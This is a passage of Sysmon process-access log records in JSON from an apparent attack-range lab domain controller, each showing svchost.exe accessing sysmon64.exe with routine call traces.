11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3530,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3531,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3532,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3533,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3534,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3535,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3536,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3537,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 